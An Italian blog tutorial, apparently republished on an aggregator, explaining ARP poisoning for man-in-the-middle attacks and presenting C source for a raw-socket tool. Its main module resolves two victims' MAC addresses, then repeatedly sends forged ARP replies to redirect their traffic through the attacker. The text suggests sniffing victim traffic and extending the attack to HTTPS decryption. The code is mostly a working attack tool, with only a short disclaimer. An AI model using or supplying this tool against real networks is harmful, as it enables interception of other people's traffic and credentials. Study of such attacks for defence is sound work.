Magazine Salute e Benessere

MITM ‘in deep’ – PARTE 2, ARP poisoning

Creato il 20 febbraio 2014 da Matteo Tosato @MatteoTosato87

Per realizzare un programma in grado di generare pacchetti ARP reply arbitrari, ci appoggeremo al sistema operativo GNU/Linux utilizzando obbligatoriamente il linguaggio C.
I socket raw, non sono semplici da utilizzare dato che necessitano una conoscenza approfondita del formato e funzionamento dei protocolli di rete.
Un manuale di programmazione di rete per Linux dovrebbe ricoprire sufficientemente molti aspetti che per ovvi motivi non possiamo affrontare in modo dettagliato ora.

Procederò descrivendo il codice di un programma realizzato appositamente per questo tipo di compito.
Dovendo implementare manualmente le strutture dei protocolli a livello di collegamento, ne definiremo le strutture di riferimento.

In primis, riporto dall’header principale del programma, i file da includere, per recuperare gli elementi che verranno utilizzati:

...
// Global typedef

typedef int boolean;
#if !defined true & !defined false
#define true 1
#define false 0
#endif

typedef int SOCKET;

typedef unsigned short u_int16_t;
typedef unsigned int u_int32_t;
typedef unsigned char u_int8_t;

typedef u_int8_t* BytePtr;

// Global definitions

#define MAX_LEN 256
#define MAX_SERVER_QUEUE 32
#define BUFFERSIZE 2048
#define REGEX_MAX_NMATCH 1024
#define DEFAULT_LISTENING_PORT 8080
#define DEFAULT_HTTP_PORT 80
#define DEFAULT_DNS_SERVER "208.67.222.222" // OpenDns

// Standard

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <ctype.h>
#include <stdarg.h>
#include <bits/endian.h>

// Socket

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>

#include <sys/ioctl.h>
#include <fcntl.h>
#include <netinet/ether.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <signal.h>

// ARP operations

#include <net/if_arp.h>

// Errors

#include <errno.h>

// Arguments parsing

#include <getopt.h>

// Multi-threading

#include <pthread.h>

// Libpcap includes

#include <pcap.h>
#include <pcap/bpf.h>

// GNU Regular expression

#include <regex.h>

// My includes

#include "errcode.h"
#include "arp.h"
#include "eth.h"
#include "ip.h"
#include "tcp.h"
#include "dns.h"
#include "udp.h"
...

Queste due strutture che seguono definiscono i due protocolli, Ethernet e ARP:

...
// Ethernet header

typedef struct {
    u_int8_t destination[6];
    u_int8_t source[6];
    u_int16_t prtype;

#define ETH_PR_TYPE_IP 0x0800
#define ETH_PR_TYPE_ARP 0x0806
#define ETH_PR_TYPE_RARP 0x8035
#define ETH_APPLE_TALK 0x809b
#define ETH_APPLE_TALK_ARP 0x80f3
#define ETH_NETWARE_IPX_SPX 0x8137

}_ETHERNET_HEADER, *ETHERNET_HEADER;
...
// Arp header

typedef struct {
    u_int16_t hw_type;

#define ARP_HWTYPE_ETHERNET 1
#define ARP_HWTYPE_HDLC 17

    u_int16_t pr_type;

#define ARP_PR_TYPE_IP 0x800

    u_int8_t hw_length;
    u_int8_t pr_length;

#define HW_LENGTH 6
#define IP_LENGTH 4

    u_int16_t opcode;

#define ARP_OP_REQUEST 1
#define ARP_OP_REPLY 2
#define ARP_OP_RREQUEST 3
#define ARP_OP_RREPLY 4
#define ARP_OP_IREQUEST 8
#define ARP_OP_IREPLY 9

    u_int8_t source_hw_addr[HW_LENGTH];
    u_int8_t source_pr_addr[IP_LENGTH];
    u_int8_t destination_hw_addr[HW_LENGTH];
    u_int8_t destination_pr_addr[IP_LENGTH];

}_ARP_HEADER, *ARP_HEADER;

// Pseudo arp cache

typedef struct {
    struct ether_addr hw;
    struct in_addr ip;
    u_int32_t timestamp;
    BytePtr packet;
}_ARP_CACHE, *ARP_CACHE;
...

L’inizializzazione dei socket raw, avviene con le seguenti istruzioni:

...
////////////////////////////////////////////////////////////////
// Return a raw socket on link layer
////////////////////////////////////////////////////////////////
inline SOCKET RAWSocket(u_char* device, struct ether_addr* hwaddr, in_addr_t* ipaddr)
{
	struct sockaddr addr;
	memcpy(&addr.sa_data,(void*)device,sizeof(addr.sa_data));
	int fd = socket(PF_PACKET,SOCK_PACKET,htons(ETH_P_ARP));
	if(fd < 0)
	{
		return -1;
	}
	bind(fd,&addr,sizeof(addr));

        if(GetDevAddrs(fd,device,hwaddr,ipaddr) < 0)
        return -1;

	return fd;
}
...

La funzione ‘GetDevAddr‘ si occupa di recuperare indirizzo fisico e logico associato ad un certo device.

...
////////////////////////////////////////////////////////////////
// Get mac and IP address associated to device
////////////////////////////////////////////////////////////////
int GetDevAddrs(SOCKET fd, char* device, struct ether_addr* hw_addr, in_addr_t* ip_addr)
{
        char buf[1024]; 
	struct ifreq* addr_device = NULL;
        struct ifconf ifc;
        int i;
        in_addr_t myip;
        
        ifc.ifc_len = sizeof(buf);
        ifc.ifc_buf = buf;
        ioctl(fd,SIOCGIFCONF,&ifc);
        addr_device = ifc.ifc_req;
        
        for(i = 0; i < ifc.ifc_len / sizeof(struct ifreq); i++, addr_device++)
        {
            if(!strcmp(device,addr_device->ifr_ifrn.ifrn_name)) {
                if(ip_addr) {
                    ioctl(fd,SIOCGIFADDR,addr_device);
                    myip = ((struct sockaddr_in*)&(addr_device->ifr_addr))->sin_addr.s_addr;
                    memcpy((void*)ip_addr,(void*)&myip,sizeof(in_addr_t));
                }
                if(hw_addr) {
                    ioctl(fd,SIOCGIFHWADDR,addr_device);
                    memcpy(hw_addr,addr_device->ifr_hwaddr.sa_data,ETHER_ADDR_LEN); 
                }
                return 0;
            }
        }
        return -1;
}
...

Una volta che i descrittori socket sono creati, si passa alla parte più interessante dell’applicazione. Utilizzando le strutture definite, è possibile comporre del tutto arbitrariamente i pacchetti ARP reply.
Qualsiasi errore in tale procedura, genererà dei pacchetti che probabilmente verranno visti come malformati, quindi scartati, dagli apparati di rete. Consiglio di utilizzare un buon analizzatore di protocollo per monitorare l’attività durante il debug.

Uno dei punti più ostici della programmazione di rete a basso livello, riguarda l’ordinamento dei bit all’interno dei protocolli. Per molti campi di alcuni protocolli viene utilizzata una memorizzazione che può essere diversa da quella utilizzata dal sistema operativo.
Per questi ultimi le modalità di memorizzazione sono due, “Little endian” e “Big endian”. Il primo parte a memorizzare i bit da quello meno significativo, il secondo memorizza partendo da quello più significativo.
Il formato dei campi dei protocolli di rete è conforme alla tipologia “big endian”.
A volte, dato che le questioni sull’ordinamento riguardano direttamente le performance della CPU, molti pc sono in grado di avviarsi con una piuttosto che con l’altra notazione. Eccetto Linux, che utilizza l’architettura predefinita anche quando il processore sarebbe in grado di cambiarla.
Sono state definite per questo motivo alcune funzioni dette “di ordinamento”, che risolvono eventuali problemi di rappresentazione.
L’uso di queste funzioni va comunque impiegato a prescindere dal fatto che la nostra piattaforma sia in accordo oppure no con le notazioni di rete. Questo garantisce la portabilità. Il programma non avrà problemi quando eseguito su una piattaforma che usa altra notazione.
Dunque, le funzioni seguenti tengono conto automaticamente della possibilità di una incompatibilità tra i metodi di ordinamento utilizzati:

#include <netinet/in.h>

unsigned long int htonl(unsigned long int hostlong)
Converte l’intero a 32 bit hostlong dal formato della macchina a quello della rete.

unsigned short int htons(unsigned short int hostshort)
Converte l’intero a 16 bit hostshort dal formato della macchina a quello della rete.

unsigned long int ntohl(unsigned long int netlong)
Converte l’intero a 32 bit netlong dal formato della rete a quello della macchina.

unsigned sort int ntohs(unsigned short int netshort)
Converte l’intero a 16 bit netshort dal formato della rete a quello della macchina.

Tutte le funzioni restituiscono il valore convertito, e non prevedono errori.
Le funzioni usano per differenziarsi i caratteri “n” e “h”, il primo sta per “network order“, il secondo per “host order” e viceversa.

Detto questo, torniamo al nostro applicativo e vediamo le funzioni dedicate all’arp poisoning, l’intero modulo poisn.c:

#include "inc.h"

extern int arp_spoof_sleep_time;        // From _init_.c
extern boolean verbose;                 // From _init_.c

extern int kbhit(void); // From _init_.c
static int Send_ARP_request(SOCKET s, BytePtr packet, int size, struct sockaddr* addr, struct ether_addr* ether_addr_out);
inline void DisableIpForwarding(void);

////////////////////////////////////////////////////////////////
// Perform ARP poisoning - run as thread
////////////////////////////////////////////////////////////////
void *do_arp_poisoning_th_v4(void *arg)
{            
    int retval;
    char* logbuffer = (char*)malloc(MAX_LEN);
    
    ARPP_THREAD_DATA_T argv = (ARPP_THREAD_DATA_T)arg;
        
    sprintf(logbuffer,"Starting ARP poisoning thread, try to make a MITM with transmission frequency: %d seconds.",arp_spoof_sleep_time);
    plog(logbuffer);
    
    in_addr_t LocalIP;
    struct ether_addr Localhwaddr;
    
    struct ether_addr VictimA_hwaddr;
    struct ether_addr VictimB_hwaddr;
    
    // Get raw socket
    SOCKET fd = RAWSocket(argv->device,&Localhwaddr,&LocalIP);
    if(fd < 0)
    {
        __perror("Raw socket initialization failed.");
        AppShutdown(APPERR_INVALID_SOCKET);
    }
    struct sockaddr addr;
    memcpy(&addr.sa_data,argv->device,sizeof(addr.sa_data));
    
    // Bind to interface
    bind(fd,&addr,sizeof(addr));
    
    // Getting victims hardware address
    plog("Try to get the host's physical address ...");
    
    // Allocate memory for the ARP packet
    BytePtr datagram = (BytePtr)malloc(sizeof(_ETHERNET_HEADER)+sizeof(_ARP_HEADER));
    
    // Direct access via pointers
    ARP_HEADER arpReq = (ARP_HEADER)(datagram+sizeof(_ETHERNET_HEADER));
    ETHERNET_HEADER eth = (ETHERNET_HEADER)(datagram);
    
    // Set ethernet header
    memcpy(eth->destination,(void*)ether_aton("ff:ff:ff:ff:ff:ff"),HW_LENGTH);  // broadcast request
    memcpy(eth->source,&Localhwaddr,HW_LENGTH);
    eth->prtype = htons(ETHERTYPE_ARP);
    
    // Build standard ARP request (victim A)
    arpReq->hw_type = htons(ARP_HWTYPE_ETHERNET);
    arpReq->pr_type = htons(ARP_PR_TYPE_IP);
    arpReq->hw_length = HW_LENGTH;
    arpReq->pr_length = IP_LENGTH;
    arpReq->opcode = htons(ARP_OP_REQUEST);
    memcpy(&arpReq->source_hw_addr,&Localhwaddr,HW_LENGTH);
    memcpy(&arpReq->source_pr_addr,&LocalIP,IP_LENGTH);
    memcpy(&arpReq->destination_hw_addr,(void*)ether_aton("00:00:00:00:00:00"),HW_LENGTH);
    memcpy(&arpReq->destination_pr_addr,&argv->victimIPA.s_addr,IP_LENGTH);
    
    if((retval = Send_ARP_request(fd,datagram,sizeof(_ETHERNET_HEADER)+sizeof(_ARP_HEADER),&addr,&VictimA_hwaddr)) != 0)
    {
        sprintf(logbuffer,"Unable to retrieve target hardware address of host: %s", inet_ntoa(argv->victimIPA));
        __perror(logbuffer);
        AppShutdown(retval);
    }
    
    // Build standard ARP request (victim B)
    memcpy(&arpReq->destination_pr_addr,&argv->victimIPB.s_addr,IP_LENGTH);
    
    if((retval = Send_ARP_request(fd,datagram,sizeof(_ETHERNET_HEADER)+sizeof(_ARP_HEADER),&addr,&VictimB_hwaddr)) != 0)
    {
        sprintf(logbuffer,"Unable to retrieve target hardware address of host: %s", inet_ntoa(argv->victimIPB));
        __perror(logbuffer);
        AppShutdown(retval);
    }
    
    sprintf(logbuffer,"Host %s has physical address: %s.",inet_ntoa(argv->victimIPA),ether_ntoa(&VictimA_hwaddr));
    plog(logbuffer);
    sprintf(logbuffer,"Host %s has physical address: %s.",inet_ntoa(argv->victimIPB),ether_ntoa(&VictimB_hwaddr));
    plog(logbuffer);
    plog("Performs ARP cache poisoning.");
    
    do
    {
        // Victim A
        // Update ethernet destination
        memcpy(&eth->destination,&VictimA_hwaddr,HW_LENGTH);
        // Build false ARP reply
        arpReq->opcode = htons(ARP_OP_REPLY);
        memcpy(&arpReq->source_pr_addr,&argv->victimIPB.s_addr,IP_LENGTH);
        memcpy(&arpReq->destination_hw_addr,&VictimA_hwaddr,HW_LENGTH);
        memcpy(&arpReq->destination_pr_addr,&argv->victimIPA.s_addr,IP_LENGTH);
        
        if(sendto(fd,datagram,sizeof(_ETHERNET_HEADER)+sizeof(_ARP_HEADER),0,&addr,(socklen_t)sizeof(struct sockaddr)) < 0)
            AppShutdown(APPERR_SENDTO_FAILURE);
        else if(verbose)
        {
            _sync_printf("Poisoned package sent to the host: %s [%s]\n",inet_ntoa(argv->victimIPA),ether_ntoa(&VictimA_hwaddr));
        }
        
        // Victim B
        // Update ethernet destination
        memcpy(&eth->destination,&VictimB_hwaddr,HW_LENGTH);
        // Build false ARP reply
        memcpy(&arpReq->source_pr_addr,&argv->victimIPA.s_addr,IP_LENGTH);
        memcpy(&arpReq->destination_hw_addr,&VictimB_hwaddr,HW_LENGTH);
        memcpy(&arpReq->destination_pr_addr,&argv->victimIPB.s_addr,IP_LENGTH);
        
        if(sendto(fd,datagram,sizeof(_ETHERNET_HEADER)+sizeof(_ARP_HEADER),0,&addr,(socklen_t)sizeof(struct sockaddr)) < 0)
            AppShutdown(APPERR_SENDTO_FAILURE);
        else if(verbose)
        {
            _sync_printf("Poisoned package sent to the host: %s [%s]\n",inet_ntoa(argv->victimIPB),ether_ntoa(&VictimB_hwaddr));
        }
        
        if(kbhit()) 
        {
            break;
        }
        
        sleep(arp_spoof_sleep_time);
        
    }while(1);
    
    // Re-caching ARP tables
    memcpy(eth->source,&VictimB_hwaddr,HW_LENGTH);
    memcpy(&eth->destination,&VictimA_hwaddr,HW_LENGTH);
    memcpy(&arpReq->source_hw_addr,&VictimB_hwaddr,HW_LENGTH);
    memcpy(&arpReq->source_pr_addr,&argv->victimIPB.s_addr,IP_LENGTH);
    memcpy(&arpReq->destination_hw_addr,&VictimA_hwaddr,HW_LENGTH);
    memcpy(&arpReq->destination_pr_addr,&argv->victimIPA.s_addr,IP_LENGTH);    
    
    if(sendto(fd,datagram,sizeof(_ETHERNET_HEADER)+sizeof(_ARP_HEADER),0,&addr,(socklen_t)sizeof(struct sockaddr)) < 0)
    {
        sprintf(logbuffer,"Unable to re-caching ARP table for host %s.",inet_ntoa(argv->victimIPA));
        pwarning(logbuffer);
    }
    else {
        sprintf(logbuffer,"ARP table of host: %s reconfigured correctly.",inet_ntoa(argv->victimIPA));
        plog(logbuffer);
    }
    
    memcpy(eth->source,&VictimA_hwaddr,HW_LENGTH);
    memcpy(&eth->destination,&VictimB_hwaddr,HW_LENGTH);  
    memcpy(&arpReq->source_hw_addr,&VictimA_hwaddr,HW_LENGTH);
    memcpy(&arpReq->source_pr_addr,&argv->victimIPA.s_addr,IP_LENGTH);
    memcpy(&arpReq->destination_hw_addr,&VictimB_hwaddr,HW_LENGTH);
    memcpy(&arpReq->destination_pr_addr,&argv->victimIPB.s_addr,IP_LENGTH);
    
    if(sendto(fd,datagram,sizeof(_ETHERNET_HEADER)+sizeof(_ARP_HEADER),0,&addr,(socklen_t)sizeof(struct sockaddr)) < 0)
    {
        sprintf(logbuffer,"Unable to re-caching ARP table for host %s.",inet_ntoa(argv->victimIPB));
        pwarning(logbuffer);
    }
    else {
        sprintf(logbuffer,"ARP table of host: %s reconfigured correctly.",inet_ntoa(argv->victimIPB));
        plog(logbuffer);
    }
    
    free(datagram);
    AppShutdown(APPUSER_TERMINATE_COMMAND_PRESSED);
}

////////////////////////////////////////////////////////////////
// Retrieve hardware address of target
////////////////////////////////////////////////////////////////
static int Send_ARP_request(SOCKET s, BytePtr packet, int size, struct sockaddr* addr, struct ether_addr* ether_addr_out)
{
    if(sendto(s,packet,size,0,addr,sizeof(struct sockaddr)) < 0)
        return APPERR_SENDTO_FAILURE;
    
    struct timeval time;
    fd_set read;
    int retval;
    
    BytePtr recv_buffer = (BytePtr)malloc(size);
    
    time.tv_sec = 3;
    time.tv_usec = 0;
    
    FD_ZERO(&read);
    FD_SET(s,&read);
    
    retval = select(s+1,&read,NULL,NULL,&time);
    
    if(retval == -1)
        return APPERR_SELECT_FAILURE;
    else if(retval)
    {
        if(FD_ISSET(s,&read))
        {
            if(recv(s,recv_buffer,size,0) < 0)
            {
                return APPERR_RECV_FAILURE;
            }
        }
    }
    else
    {
        return APPERR_ARP_REPLY_TIMEOUT;
    }
    
    // Mac extraction
    ARP_HEADER arp = (ARP_HEADER)(recv_buffer+sizeof(_ETHERNET_HEADER));
    memcpy(ether_addr_out,arp->source_hw_addr,HW_LENGTH);
    free(recv_buffer);
    
    return 0;
}

////////////////////////////////////////////////////////////////
// Set to off "IP-FORWARDING" function
////////////////////////////////////////////////////////////////
inline void DisableIpForwarding(void)
{
    if(popen("echo 0 > /proc/sys/net/ipv4/ip_forward","w") == NULL)
    {
        pwarning("popen function fail, unable to set off IP FORWARDING function, do it manually: \"echo 0 > /proc/sys/net/ipv4/ip_forward\".");
    }
}

Con il programma in esecuzione, è sufficiente utilizzare uno sniffer per acquisire e visualizzare il traffico della vittima.

L’ulteriore passo avanti di questa tecnica consiste nell’associare a questa, altri tipi di attacchi che mirano alla decodifica del traffico crittografato, ad esempio pagine https. O all’installazione sulla macchina di sistemi proxy, che con l’ausilio di iptables sovvertono direzione e contenuto del traffico di rete.

Ad ogni modo tutte le possibilità che vanno oltre quella di informare riguardo un problema di sicurezza vanno oltre lo scopo di questo testo.

*L’autore non si ritiene responsabile dell’uso improprio del codice e informazioni riportate. Il testo vuole essere esclusivamente a scopo informativo.

*The author is not responsible for improper use of the code and the information showed. The text is intended for informational purposes only.

Bibliografia:
.1 RFC sourcebook, http://www.networksorcery.com/enp/default1101.htm
.2 PHRACK, http://www.phrack.org/


Archiviato in:C, Hacking, Informatica, Linux, Networking, Programmazione, Sistemi operativi Tagged: ARP poisoning, hacking, Man in the middle, socket raw

Ritornare alla prima pagina di Logo Paperblog